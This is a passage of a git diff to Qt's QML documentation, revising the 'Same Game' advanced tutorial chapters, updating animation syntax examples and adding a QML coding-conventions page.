+blocks, a "New Game" button and a score display.
 
-\snippet declarative/tutorials/samegame/samegame1/Button.qml 0
+One item you may not recognize here
+is the \l SystemPalette item. This provides access to the Qt system palette
+and is used to give the button a more native look-and-feel.
+
+Notice the anchors for the \c Item, \c Button and \c Text elements are set using
+\l {Grouped Properties}{group notation} for readability.
 
-Note that this Button component was written to be fairly generic, in case we
-want to use a similarly styled button later.
+\section2 Adding \c Button and \c Block components
 
-And here is a simple block:
+The \c Button item in the code above is defined in a separate file named \c Button.qml.
+To create a functional button, we use the QML elements \l Text and \l MouseArea inside a \l Rectangle.
+Here is the \c Button.qml code:
+
+\snippet declarative/tutorials/samegame/samegame1/Button.qml 0
+
+In Same Game, the screen is filled with small blocks when the game begins.
+Each block is just an item that contains an image. The block
+code is defined in a separate \c Block.qml file:
 
 \snippet declarative/tutorials/samegame/samegame1/Block.qml 0
 
-Since it doesn't do anything yet it's very simple, just an image. As the
-tutorial progresses and the block starts doing things the file will become
-more than just an image. Note that we've set the image to be the size of the item.
-This will be used later, when we dynamically create and size the block items the image will be scaled automatically
-to the correct size.
+At the moment, the block doesn't do anything; it is just an image. As the
+tutorial progresses we will animate and give behaviors to the blocks.
+We have not added any code yet to create the blocks; we will do this
+in the next chapter.
 
-Note that because there are several stages to this tutorial they share images. This is done by having a shared resources
-folder containing the images, and all stages of the tutorial refer to the same shared folder. This is the reason for the
-'../shared/pics' part of the image source. The image source can be any relative or absolute path, and it is relative to the
-location of the file the Image element is in, with ../ meaning to go up one level.
+We have set the image to be the size of its parent Item using \c {anchors.fill: parent}.
+This means that when we dynamically create and resize the block items
+later on in the tutorial, the image will be scaled automatically to the
+correct size.
 
-You should be familiar with all that goes on in these files so far. This is a
-very basic start and doesn't move at all - next we will populate the game canvas
-with some blocks.
+Notice the relative path for the Image element's \c source property. 
+This path is relative to the location of the file that contains the \l Image element.
+Alternatively, you could set the Image source to an absolute file path or a URL
+that contains an image.
+
+You should be familiar with the code so far. We have just created some basic
+elements to get started. Next, we will populate the game canvas with some blocks.
 */
 
 
@@ -124,64 +152,69 @@ with some blocks.
 \previouspage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks
 \nextpage QML Advanced Tutorial 3 - Implementing the Game Logic
 
-Now that we've written some basic elements, let's start writing the game. The
-first thing to do is to generate all of the blocks. Now we need to dynamically
-generate all of these blocks, because you have a new, random set of blocks
-every time. As they are dynamically generated every time the new game button is
-clicked, as opposed to on startup, we will be dynamically generating the blocks
-in the JavaScript, as opposed to using a \l Repeater.
+In this chapter:
+
+\tableofcontents
+
+The files referenced on this page can be found in \c $QTDIR\examples\tutorials\samegame\samegame2.
+
+
+\section2 Generating the blocks in JavaScript
+
+Now that we've written some basic elements, let's start writing the game.
+
+The first task is to generate the game blocks. Each time the New Game button
+is clicked, the game canvas is populated with a new, random set of
+blocks. Since we need to dynamically generate new blocks for each new game,
+we cannot use \l Repeater to define the blocks. Instead, we will 
+create the blocks in JavaScript.
 
-This adds enough script to justify a new file, \c{samegame.js}, the intial version
-of which is shown below
+Here is the JavaScript code for generating the blocks, contained in a new
+file, \c samegame.js. The code is explained below.
 
 \snippet declarative/tutorials/samegame/samegame2/samegame.js 0
 
-The gist of this code is that we create the blocks dynamically, as many as will fit, and then store them in an array for future reference.
-The \c initBoard function will be hooked up to the new game button soon, and should be fairly straight forward.
-
-The \c createBlock function is a lot bigger, and I'll explain it block by block.
-First we ensure that the component has been constructed. QML elements, including composite ones like the \c Block.qml
-that we've written, are never created directly in script. While there is a function to parse and create an arbitrary QML string,
-in the case where you are repeatedly creating the same item you will want to use the \c createComponent function. \c createComponent is
-a built-in function in the declarative JavaScript, and returns a component object.
-A component object prepares and stores a QML element (usually a composite element) for easy and efficient use.
-When the component is ready, you can create a new instance of the loaded QML with the \c createObject method.
-If the component is loaded remotely (over HTTP for example) then you will have to wait for the component to finish loading
-before calling \c createObject. Since we don't wait here (the waiting is asyncronous, the component object will send a signal to tell
-you when it's done) this code will only work if the block QML is a local file.
-
-As we aren't waiting for the component, the next block of code creates a game block with \c{component.createObject}.
-Since there could be an error in the QML file you are trying to load, success is not guaranteed.
-The first bit of error checkign code comes right after \c{createObject()}, to ensure that the object loaded correctly.
-If it did not load correctly the function returns false, but we don't have that hooked up to the main UI to indicate
-that something has gone wrong. Instead we print out error messages to the console, because an error here means an invalid
-QML file and should only happen while you are developing and testing the UI.
-
-Next we start to set up our dynamically created block.
-Because the \c{Block.qml} file is generic it needs to be placed in the main scene, and in the right place.
-This is why \c parent, \c x, \c y, \c width and \c height are set. We then store it in the board array for later use.
-
-Finally, we have some more error handling. You can only call \c{createObject} if the component has loaded.
-If it has not loaded, either it is still loading or there was an error loading (such as a missing file).
-Since we don't request remote files the problem is likely to be a missing or misplaced file.
-Again we print this to the console to aid debugging.
-
-You now have the code to create a field of blocks dynamically, like below:
+The \c startNewGame() function deletes the blocks created in the previous game and
+calculates the number of rows and columns of blocks required to fill the game window for the new game.
+Then, it creates an array to store all the game
+blocks, and calls \c createBlock() to create enough blocks to fill the game window.
 
-\image declarative-adv-tutorial2.png
+The \c createBlock() function creates a block from the \c Block.qml file
+and moves the new block to its position on the game canvas. This involves several steps:
 
-To hook this code up to the \e{New Game} button, you alter it as below:
+\list
+\o \l {createComponent(url file)}{createComponent()} is called to generate an element from \c Block.qml.
+   If the component is ready, we can call \c createObject() to create an instance of the \c Block item.
+\o If \c createObject() returned null (i.e. if there was an error while
+   loading the object), print the error information.
+\o Place the block in its position on the board and set its width and height.
+   Also, store it in the blocks array for future reference.
+\o Finally, print error information to the console if the component could not be
+   loaded for some reason (for example, if the file is missing).
+\endlist
 
-\snippet declarative/tutorials/samegame/samegame2/samegame.qml 1
 
-We have just replaced the \c{onClicked: console.log("Implement me!")} with \c{onClicked: initBoard()}.
-Note that in order to have the function available, you'll need to include the script in the main file,
-by adding a script element to it.
+\section2 Connecting JavaScript components to QML
+
+Now we need to call the JavaScript code in \c samegame.js from our QML files.
+To do this, we add this line to \c samegame.qml which imports
+the JavaScript file as a \l{Modules#QML Modules}{module}:
 
 \snippet declarative/tutorials/samegame/samegame2/samegame.qml 2
 
-With those two changes, and the script file, you are now dynamically creating a field of blocks you can play with.
-They don't do anything now though; the next chapter will add the game mechanics.
+This allows us to refer to any functions within \c samegame.js using "SameGame"
+as a prefix: for example, \c SameGame.startNewGame() or \c SameGame.createBlock().  
+This means we can now connect the New Game button's \c onClicked handler to the \c startNewGame()
+function, like this:
+
+\snippet declarative/tutorials/samegame/samegame2/samegame.qml 1
+
+So, when you click the New Game button, \c startNewGame() is called and generates a field of blocks, like this:
+
+\image declarative-adv-tutorial2.png
+
+Now, we have a screen of blocks, and we can begin to add the game mechanics.
+
 */
 
 /*!
@@ -191,11 +224,20 @@ They don't do anything now though; the next chapter will add the game mechanics.
 \previouspage QML Advanced Tutorial 2 - Populating the Game Canvas
 \nextpage QML Advanced Tutorial 4 - Finishing Touches
 
-First we add to the \c initBoard function clearing of the board before filling it up again, so that clicking new game won't leave the previous game
-lying around in the background. To the \c createComponent function we have added setting the type of the block to a number between
-one and three - it's fundamental to the game logic that the blocks be different types if you want a fun game.
+In this chapter:
+
+\tableofcontents
+
+The files referenced on this page can be found in \c $QTDIR\examples\tutorials\samegame\samegame3.
+
+\section2 Making a playable game
+
+Now that we have all the game components, we can add the game logic that
+dictates how a player interacts with the blocks and plays the game
+until it is won or lost.
+
+To do this, we have added the following functions to \c samegame.js:
 
-The main change was adding the following game logic functions:
 \list
 \o function \c{handleClick(x,y)}
 \o function \c{floodFill(xIdx,yIdx,type)}
@@ -204,59 +246,65 @@ The main change was adding the following game logic functions:
 \o function \c{floodMoveCheck(xIdx, yIdx, type)}
 \endlist
 
-As this is a tutorial about QML, not game design, these functions will not be discussed in detail. The game logic here
-was written in script, but it could have been written in C++ and had these functions exposed in the same way (except probably faster).
-The interfacing of these functions and QML is what we will focus on. Of these functions, only \c handleClick and \c victoryCheck
-interface closely with the QML. Those functions are shown below (the rest are still in the code for this tutorial located at
-\c{$QTDIR/examples/declarative/tutorials/samegame}).
+As this is a tutorial about QML, not game design, we will only discuss \c handleClick() and \c victoryCheck() below since they interface directly with the QML elements. Note that although the game logic here is written in JavaScript, it could have been written in C++ and then exposed to JavaScript. 
 
-\snippet declarative/tutorials/samegame/samegame3/samegame.js 1
-\snippet declarative/tutorials/samegame/samegame3/samegame.js 2
+\section3 Enabling mouse click interaction
 
-You'll notice them referring to the \c gameCanvas item. This is an item that has been added to the QML for easier interfacing with the game logic.
-It is placed next to the background image and replaces the background as the item to create the blocks in.
-Its code is shown below:
+To make it easier for the JavaScript code to interface with the QML elements, we have added an Item called \c gameCanvas to \c samegame.qml. It replaces the background as the item which contains the blocks. It also accepts mouse input from the user.  Here is the item code:
 
 \snippet declarative/tutorials/samegame/samegame3/samegame.qml 1
 
-This item is the exact size of the board, contains a score property, and a mouse region for input.
-The blocks are now created as its children, and its size is used to determining the board size, so as to scale to the available screen size.
-Since it needs to bind its size to a multiple of \c tileSize, \c tileSize needs to be moved into a QML property and out of the script file.
+The \c gameCanvas item is the exact size of the board, and has a \c score property and a \l MouseArea to handle mouse clicks.
+The blocks are now created as its children, and its dimensions are used to determine the board size so that
+the application scales to the available screen size.
+Since its size is bound to a multiple of \c blockSize, \c blockSize was moved out of \c samegame.js and into \c samegame.qml as a QML property.
 Note that it can still be accessed from the script.
 
-The mouse region simply calls \c{handleClick()}, which deals with the input events.
-Should those events cause the player to score, \c{gameCanvas.score} is updated.
-The score display text item has also been changed to bind its text property to \c{gamecanvas.score}.
-Note that if score was a global variable in the \c{samegame.js} file you could not bind to it. You can only bind to QML properties.
+When clicked, the \l MouseArea calls \c{handleClick()} in \c samegame.js, which determines whether the player's click should cause any blocks to be removed, and updates \c gameCanvas.score with the current score if necessary. Here is the \c handleClick() function:
 
-\c victoryCheck() primarily updates the score variable. But it also pops up a dialog saying \e {Game Over} when the game is over.
-In this example we wanted a pure-QML, animated dialog, and since QML doesn't contain one, we wrote our own.
-Below is the code for the \c Dialog element, note how it's designed so as to be usable imperatively from within the script file (via the functions and signals):
+\snippet declarative/tutorials/samegame/samegame3/samegame.js 1
+
+Note that if \c score was a global variable in the \c{samegame.js} file you would not be able to bind to it. You can only bind to QML properties.
+
+\section3 Updating the score
+
+When the player clicks a block and triggers \c handleClick(), \c handleClick() also calls \c victoryCheck() to update the score and to check whether the player has completed the game. Here is the \c victoryCheck() code:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.js 2
+
+This updates the \c gameCanvas.score value and displays a "Game Over" dialog if the game is finished.
+
+The Game Over dialog is created using a \c Dialog element that is defined in \c Dialog.qml. Here is the \c Dialog.qml code. Notice how it is designed to be usable imperatively from the script file, via the functions and signals:
 
 \snippet declarative/tutorials/samegame/samegame3/Dialog.qml 0
 
-And this is how it's used in the main QML file:
+And this is how it is used in the main \c samegame.qml file:
 
 \snippet declarative/tutorials/samegame/samegame3/samegame.qml 2
 
-Combined with the line of code in \c victoryCheck, this causes a dialog to appear when the game is over, informing the user of that fact.
 
-We now have a working game! The blocks can be clicked, the player can score, and the game can end (and then you start a new one).
-Below is a screenshot of what has been accomplished so far:
+\section3 A dash of color
 
-\image declarative-adv-tutorial3.png
+It's not much fun to play Same Game if all the blocks are the same color, so we've modified the \c createBlock() function in \c samegame.js to randomly create a different type of block (for either red, green or blue) each time it is called. \c Block.qml has also changed so that each block contains a different image depending on its type:
 
-Here is the QML code as it is now for the main file:
+\snippet declarative/tutorials/samegame/samegame3/Block.qml 0
 
-\snippet declarative/tutorials/samegame/samegame3/samegame.qml 0
 
-And the code for the block:
+\section2 A working game
 
-\snippet declarative/tutorials/samegame/samegame3/Block.qml 0
+Now we now have a working game! The blocks can be clicked, the player can score, and the game can end (and then you can start a new one).
+Here is a screenshot of what has been accomplished so far:
+
+\image declarative-adv-tutorial3.png
+
+This is what \c samegame.qml looks like now:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.qml 0
 
 The game works, but it's a little boring right now. Where are the smooth animated transitions? Where are the high scores?
-If you were a QML expert you could have written these in for the first iteration, but in this tutorial they've been saved
+If you were a QML expert you could have written these in the first iteration, but in this tutorial they've been saved
 until the next chapter - where your application becomes alive!
+
 */
 
 /*!
@@ -265,115 +313,146 @@ until the next chapter - where your application becomes alive!
 \contentspage QML Advanced Tutorial
 \previouspage QML Advanced Tutorial 3 - Implementing the Game Logic
 
-Now we're going to do two things to liven the game up. Animate the blocks and add a web-based high score system.
+In this chapter:
 
-If you compare the \c samegame3 directory with \c samegame4, you'll noticed that we've cleaned the directory structure up.
-We now have a lot of files, and so they've been split up into folders - the most notable one being a content folder
-which we've placed all the QML but the main file.
+\tableofcontents
 
-\section2 Animated Blocks
+The files referenced on this page can be found in \c $QTDIR\examples\tutorials\samegame\samegame4.
 
-The most vital animations are that the blocks move fluidly around the board. QML has many tools for fluid behavior,
-and in this case we're going to use the \l SpringFollow element. By having the script set \c targetX and \c targetY, instead of \c x
-and \c y directly, we can set the \c x and \c y of the block to a follow. \l SpringFollow is a property value source, which means
-that you can set a property to be one of these elements and it will automatically bind the property to the element's value.
-The SpringFollow's value follows another value over time, when the value it is tracking changes the SpringFollow's
-value will also change, but it will move smoothly there over time with a spring-like movement (based on the spring
-parameters specified). This is shown in the below snippet of code from \c Block.qml:
+\section2 Adding some flair
 
-\code
-    property int targetX: 0
-    property int targetY: 0
+Now we're going to do two things to liven up the game: animate the blocks and add a High Score system.
 
-    x: SpringFollow { source: targetX; spring: 2; damping: 0.2 }
-    y: SpringFollow { source: targetY; spring: 2; damping: 0.2 }
-\endcode
+We've also cleaned up the directory structure for our application files. We now have a lot of files, so all the
+JavaScript and QML files outside of \c samegame.qml have been moved into a new sub-directory named "content".
+
+In anticipation of the new block animations, \c Block.qml file is now renamed to \c BoomBlock.qml.
 
-We also have to change the \c{samegame.js} code, so that wherever it was setting the \c x or \c y it now sets \c targetX and \c targetY
-(including when creating the block). This simple change is all you need to get spring moving blocks that no longer teleport
-around the board. If you try doing just this though, you'll notice that they now never jump from one point to another, even in
-the initialization! This gives an odd effect of having them all slide out of the corner (0,0) on start up. We'd rather that they
-fall down from the top in rows. To do this, we disable the \c x follow (but not the \c y follow) and only enable it after we've set
-the \c x in the \c createBlock function. The above snippet now becomes:
+\section3 Animating block movement
+
+First we will animate the blocks so that they move in a fluid manner. QML has a number of methods for adding fluid
+movement, and in this case we're going to use the \l SpringFollow element to add an animation with a spring-like
+movement. In \c BoomBlock.qml, we apply a \l SpringFollow
+to the \c x and \c y properties so that the block will follow and animate its movement towards the
+position specified by the new \c targetX and \c targetY properties (whose values will be set by \c samegame.js).
+Here is the code added to \c BoomBlock.qml:
 
 \snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 1
 
-The next-most vital animation is a smooth exit. For this animation, we'll use a \l Behavior element. A Behavior is also a property
-value source, and it is much like SpringFollow except that it doesn't model the behavior of a spring. You specify how a Behavior
-transitions using the standard animations. As we want the blocks to smoothly fade in and out we'll set a Behavior on the block
-image's opacity, like so:
+The \c spring and \c damping values can be changed to modify the spring-like effect of the animation.
+
+The \c {enabled: spawned} setting refers to the \c spawned value that is set from \c createBlock() in \c samegame.js.
+This ensures the \l SpringFollow on the \c x is only enabled after \c createBlock() has set the block to
+the correct position. Otherwise, the blocks will slide out of the corner (0,0) when a game begins, instead of falling
+from the top in rows. (Try commenting out \c {enabled: spawned} and see for yourself.)
+
+\section3 Animating block opacity changes
+
+Next, we will add a smooth exit animation. For this, we'll use a \l Behavior element, which allows us to specify
+a default animation when a property change occurs. In this case, when the \c opacity of a Block changes, we will
+animate the opacity value so that it gradually fades in and out, instead of abruptly changing between fully
+visible and invisible. To do this, we'll apply a \l Behavior on the \c opacity property of the \c Image
+element in \c BoomBlock.qml:
 
 \snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 2
 
-Note that the \c{opacity: 0} makes it start out transparent. We could set the opacity in the script file when we create and destroy the blocks,
-but instead we use states (as this is useful for the next animation we'll implement). The below snippet is set on the root
-element of \c{Block.qml}:
+Note the \c{opacity: 0} which means the block is transparent when it is first created. We could set the opacity
+in \c samegame.js when we create and destroy the blocks,
+but instead we'll use \l{QML States}{states}, since this is useful for the next animation we're going to add. 
+Initially, we add these States to the root element of \c{BoomBlock.qml}:
 \code
     property bool dying: false
     states: [
         State{ name: "AliveState"; when: spawned == true && dying == false
             PropertyChanges { target: img; opacity: 1 }
-        }, State{ name: "DeathState"; when: dying == true
+        },
+        State{ name: "DeathState"; when: dying == true
             PropertyChanges { target: img; opacity: 0 }
         }
     ]
 \endcode
 
-Now it will automatically fade in, as we set spawned to true already when implementing the block movement animations.
-To fade out, we set 'dying' to true instead of setting opacity to 0 when a block is destroyed (in the \c floodFill function).
+Now blocks will automatically fade in, as we already set \c spawned to true when we implemented the block animations.
+To fade out, we set \c dying to true instead of setting opacity to 0 when a block is destroyed (in the \c floodFill() function).
+
+\section3 Adding particle effects
 
-The least vital animations are a cool-looking particle effect when they get destroyed. First we create a \l Particles element in
-the block, like so:
+Finally, we'll add a cool-looking particle effect to the blocks when they are destroyed. To do this, we first add a \l Particles element in
+\c BoomBlock.qml, like so:
 
 \snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 3
 
-To fully understand this you'll want to look at the Particles element documentation, but it's important to note that emissionRate is set
-to zero, so that no particles are emitted normally.
-We next extend the 'dying' state, which creates a burst of particles by calling the burst method on the particles element. The code for the states now look
+To fully understand this you should read the \l Particles documentation, but it's important to note that \c emissionRate is set
+to zero so that particles are not emitted normally.
+Also, we extend the \c dying State, which creates a burst of particles by calling the \c burst() method on the particles element. The code for the states now look
 like this:
 
 \snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 4
 
-And now the game should be beautifully animated and smooth, with a subtle (or not-so-subtle) animation added for all of the
-player's actions. The end result is shown below, with a different set of images to demonstrate basic themeing:
+Now the game is beautifully animated, with subtle (or not-so-subtle) animations added for all of the
+player's actions. The end result is shown below, with a different set of images to demonstrate basic theming:
 
 \image declarative-adv-tutorial4.gif
 
-The basic theme change there is the result of simply replacing the images. This can be done at run time by setting the source property, so a further advanced feature to try on your own is to add a button which toggles between two different themes.
+The theme change here is produced simply by replacing the block images. This can be done at runtime by changing the \l Image \c source property, so for a further challenge, you could add a button that toggles between themes with different images.
+
+\section2 Keeping a High Scores table
+
+Another feature we might want to add to the game is a method of storing and retrieving high scores.
+
+In \c samegame.qml we now pop up a dialog when the game is over and requests the player's name so it can be added to a High Scores table. The dialog is created using \c Dialog.qml:
+
+\snippet declarative/tutorials/samegame/samegame4/samegame.qml 0
+
+When the dialog is closed, we call the new \c saveHighScore() function in \c samegame.js, which stores the high score locally in an SQL database and also send the score to an online database if possible. 
 
-\section2 Offline High Scores
-Another extension we might want for the game is some way of storing and retrieving high scores. This tutorial contains both online and offline high score storage. 
 
-For better high score data, we want the name and time of the player. The time is obtained in the script fairly simply, but we
-have to ask the player for their name. We thus re-use the dialog QML file to pop up a dialog asking for the player's name (and
-if they exit this dialog without entering it they have a way to opt out of posting their high score). When the dialog is closed we store the name and high score, using the code below. 
+\section3 Storing high scores offline
+
+Here is the \c saveHighScore() function in \c samegame.js:
 
 \snippet declarative/tutorials/samegame/samegame4/content/samegame.js 2
 
-For offline storage, we use the HTML 5 offline storage JavaScript API to maintain a persistant SQL database unique to this application. This first line in this function calls the function for the web-based high scores, described later, if it has been setup. Next we create an offline storage database for the high scores using openDatabase and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrival, and in the db.transaction call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string. For a more detailed explanation of the offline storage API in QML, consult the global object documentation.
+First we call \c sendHighScore() (explained in the section below) if it is possible to send the high scores to an online database.
+
+Then, we use the \l{Offline Storage API} to maintain a persistant SQL database unique to this application. We create an offline storage database for the high scores using \c openDatabase() and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrival, and in the \c db.transaction() call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string.
+
+This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the \c Dialog). This would allow a more themeable dialog that could beter present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database.
 
-This is one way of storing and displaying high scores locally, but not the only way. A more complex alternative would have been to create a high score dialog component, and pass the results to it for processing and display (instead of resusing the Dialog). This would allow a more themable dialog that could present the high scores better. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database.
+\section3 Storing high scores online
 
-\section2 Web-based High Scores
+You've seen how you can store high scores locally, but it is also easy to integrate a web-enabled high score storage into your QML application. The implementation we've done her is very
+simple: the high score data is posted to a php script running on a server somewhere, and that server then stores it and
+displays it to visitors. You could also request an XML or QML file from that same server, which contains and displays the scores,
+but that's beyond the scope of this tutorial. The php script we use here is available in the \c examples directory.
 
-You've seen how to store high scores locally, but it is also easy to integrate a web enabled high score storage into your QML application. This tutorial also shows you how to communicate the high scores to a web server. The implementation we've done is very
-simple - the high score data is posted to a php script running on a server somewhere, and that server then stores it and
-displays it to visitors. You could request an XML or QML file from that same server, which contained and displayed the scores,
-but that's beyond the scope of this tutorial. The php script we've used is available in the examples directory.
+If the player entered their name we can send the data to the web service us
 
-if the player entered their name we can send the data to the web service in the following snippet out of the script file:
+If the player enters a name, we send the data to the service using this code in \c samegame.js:
 
 \snippet declarative/tutorials/samegame/samegame4/content/samegame.js 1
 
-This is the same \c XMLHttpRequest() as you'll find in browser JavaScript, and can be used in the same way to dynamically get XML
-or QML from the web service to display the high scores. We don't worry about the response in this case, we just post the high
+The \c XMLHttpRequest in this code is the same \c XMLHttpRequest() as you'll find in standard browser JavaScript, and can be used in the same way to dynamically get XML
+or QML from the web service to display the high scores. We don't worry about the response in this case - we just post the high
 score data to the web server. If it had returned a QML file (or a URL to a QML file) you could instantiate it in much the same
-way as you did the blocks.
+way as you did with the blocks.
 
-An alternate way to access and submit web-based data would be to use QML elements designed for this purpose - XmlListModel
+An alternate way to access and submit web-based data would be to use QML elements designed for this purpose. XmlListModel
 makes it very easy to fetch and display XML based data such as RSS in a QML application (see the Flickr demo for an example).
 
-By following this tutorial you've now ben shown how to write a fully functional application in QML, with the application logic
-written in a script file and with both many fluid animations and being web-enabled. Congratulations, you should now be skilled
-enough to write entire applications in QML.
+
+\section2 That's it!
+
+By following this tutorial you've seen how you can write a fully functional application in QML:
+
+\list
+\o Build your application with \l {{QML Elements}}{QML elements}
+\o Add application logic \l{Integrating JavaScript}{with JavaScript code}
+\o Add animations with \l {Behavior}{Behaviors} and \l{QML States}{states}
+\o Store persistent application data using, for example, the \l{Offline Storage API} or \l XMLHttpRequest
+\endlist
+
+There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
+demos and examples and the \l {Declarative UI (QML)}{documentation} to find out all the things you can do with QML!
+
 */
diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc
index 2b75211..9969e8f 100644
--- a/doc/src/declarative/animation.qdoc
+++ b/doc/src/declarative/animation.qdoc
@@ -58,7 +58,8 @@ types listed above. If the property you are animating is a number or color, you
 NumberAnimation or ColorAnimation. These elements don't add any additional functionality,
 but will help enforce type correctness and are slightly more efficient.
 
-A property animation can be specified as a value source. This is especially useful for repeating animations.
+A property animation can be specified as a value source using the \e Animation \bold on \e property syntax. This is especially useful
+for repeating animations.
 
 The following example creates a bouncing effect:
 \qml
@@ -70,8 +71,8 @@ Rectangle {
         source: "qt-logo.png"
         x: 60-img.width/2
         y: 0
-        y: SequentialAnimation {
-            repeat: true
+        SequentialAnimation on y {
+            loops: Animation.Infinite
             NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 }
             PauseAnimation { duration: 1000 }
             NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 }
@@ -93,7 +94,7 @@ Rectangle {
     Rectangle {
         color: "red"
         width: 50; height: 50
-        x: NumberAnimation { to: 50; }
+        NumberAnimation on x { to: 50; }
     }
 }
 \endqml
@@ -226,7 +227,7 @@ Rectangle {
     id: redRect
     color: "red"
     width: 100; height: 100
-    x: Behavior { NumberAnimation { duration: 300; easing.type: "InOutQuad" } }
+    Behavior on x { NumberAnimation { duration: 300; easing.type: "InOutQuad" } }
 }
 \endqml
 
diff --git a/doc/src/declarative/codingconventions.qdoc b/doc/src/declarative/codingconventions.qdoc
new file mode 100644
index 0000000..7ae5cbd
--- /dev/null
+++ b/doc/src/declarative/codingconventions.qdoc
@@ -0,0 +1,131 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page codingconventions.html
+\title QML Coding Conventions
+
+This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow.
+
+This page assumes that you are already familiar with the QML language.
+If you need an introduction to the language, please read \l {Introduction to the QML language}{the QML introduction} first.
+
+
+\section1 QML objects
+
+Through our documentation and examples, QML objects are always structured in the following order:
+
+\list
+\o id
+\o property declarations
+\o signal declarations
+\o javascript functions
+\o object properties
+\o child objects
+\o states
+\o transitions
+\endlist
+
+For better readability, we separate these different parts with an empty line.
+
+
+For example, a hypothetical \e photo QML object would look like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/photo.qml 0
+
+
+\section1 Grouped properties
+
+If using multiple properties from a group of properties,
+we use the \e {group notation} rather than the \e {dot notation} to improve readability.
+
+For example, this:
+
+\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 0
+
+can be written like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 1
+
+
+\section1 Lists
+
+If a list contains only one element, we generally omit the square brackets.
+
+For example, it is very common for a component to only have one state.
+
+In this case, instead of:
+
+\snippet doc/src/snippets/declarative/codingconventions/lists.qml 0
+
+we will write this:
+
+\snippet doc/src/snippets/declarative/codingconventions/lists.qml 1
+
+
+\section1 Javascript code
+
+If the script is a single expression, we recommend writing it inline:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 0
+
+If the script is only a couple of lines long, we generally use a block:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 1
+
+If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 2
+
+For long scripts, we will put the functions in their own javascript file and import it like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript-imports.qml 0
+
+*/
+
+
+
+
+
+
+
+
+
diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc
index 4b61bd9..a2a5283 100644
--- a/doc/src/declarative/declarativeui.qdoc
+++ b/doc/src/declarative/declarativeui.qdoc
@@ -47,10 +47,10 @@
 highly dynamic, custom user interfaces.
 
 Qt Declarative UI provides a declarative framework for building highly dynamic, custom
-user interfaces.  Declarative UI helps programmers and designers collaborate to build 
-the animation rich, fluid user interfaces that are becoming common in portable 
-consumer devices, such as mobile phones, media players, set-top boxes and netbooks.  
-The Qt Declarative module provides an engine for interpreting the declarative QML 
+user interfaces.  Declarative UI helps programmers and designers collaborate to build
+the animation rich, fluid user interfaces that are becoming common in portable
+consumer devices, such as mobile phones, media players, set-top boxes and netbooks.
+The Qt Declarative module provides an engine for interpreting the declarative QML
 language, and a rich set of \l {QML Elements}{QML elements} that can be used
 from QML.
 
@@ -68,7 +68,7 @@ internet-enabled applications like a \l {http://www.flickr.com}{Flickr} photo br
 
 Qt Declarative builds on \l {QML for Qt programmers}{Qt's existing strengths}.
 QML can be be used to incrementally extend an existing application or to build
-completely new applications.  QML is fully \l {Extending QML}{extensible from C++}.
+completely new applications.  QML is fully \l {Extending QML in C++}{extensible from C++}.
 
 \section1 Getting Started:
 \list
@@ -77,13 +77,14 @@ completely new applications.  QML is fully \l {Extending QML}{extensible from C+
 \o \l {QML Advanced Tutorial}{Tutorial: 'Same Game'}
 \o \l {QML Examples and Walkthroughs}
 \o \l {Using QML in C++ Applications}
+\o \l {QML for Qt programmers}
 \endlist
 
 \section1 Core QML Features:
 \list
 \o \l {QML Documents}
 \o \l {Property Binding}
-\o \l {JavaScript Blocks}
+\o \l {Integrating JavaScript}
 \o \l {QML Scope}
 \o \l {Network Transparency}
 \o \l {Data Models}
@@ -94,15 +95,19 @@ completely new applications.  QML is fully \l {Extending QML}{extensible from C+
